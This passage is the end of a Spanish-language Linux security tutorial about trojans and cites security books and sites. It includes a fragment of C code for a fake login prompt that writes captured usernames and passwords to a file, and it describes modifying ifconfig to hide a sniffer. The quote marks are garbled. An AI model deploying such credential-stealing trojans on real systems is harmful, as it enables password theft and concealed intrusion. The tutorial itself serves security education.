Ahora mostramos el mensaje de error que queremos que vea el usuario
Printf(?Login Incorrect\n\n?);
Ahora se simula la petición de datos
Printf(?login:
?);
Scanf(?%s?,nombre);
Password=getpass(?Password:?);
f=fopen(fichero,?at?);
if
(f==NULL){
Si no consigue grabar la informacion sale sin realizar nada
return;
}
fprintf(f,?\n%s%s?,nombre,password);
fclose(f);
return
}
Otro ejemplo clasico de troyano consistira en un troyano
que sustituyese al comando ?ifconfig? del sistema que nos muestra por la
pantalla información sobre la configuración de los adaptadores
de red del sistema, entre toda la información que muestra esta utilidad
se indica si un determinado adaptador de red instalado en el sistema funciona
en modo promiscuo, lo que significaría con una probabilidad muy
alta que existe un sniffer(escucha electrónica) en la red. De esta
forma podemos modificar el codigo fuente de ?ifconfig? para que no muestre
la información relativa a el sniffer.
BIBLIOGRAFÍA
-Linux Máxima Seguridad Edición Especial,Anónimo - Prentice Hall (Madrid, 2000)
-Hackers ?Secretos y soluciones para la seguridad de redes?, Stuart McLure, Joel Scambray, George Kurtz -McGraw-Hill (2000)
-Máxima Seguridad en Internet, Anónimo - Anaya(1998)
-Hacking en Internet, Luis A. Iñigo, Claudio Hernandez, Israel Robla - Coelma(1998)
-Seguridad en Unix y Redes, Antonio Villalón Huerta - Manual de mas de 1000 pags bajado de la pagina del proyecto Lucas (2000)
-?Defensa contra Intrusos? de Revista ?Todo Linux? (Año 1 Numero 9)
-?Caballos de troya y Backdoors? de Revista ?Solo Linux? (Numero 8)
RECURSOS DE INTERNET CONSULTADOS
-?Seguridad en Linux?
http://www.iec.csic.es/criptonomicon/linux/
-?Guía Básica de Seguridad en Linux Red Hat?
http://www.utc.uam.es/ss/rec/linuxsecrh.html
-?Proyecto
Lucas- Manuales de Linux en Español?
http://lucas.hispalinux.es/htmls/manuales.html
- ?Protegiéndose de los ataques con contraseña?
http://www.unam-cert.unam.mx/passwd.html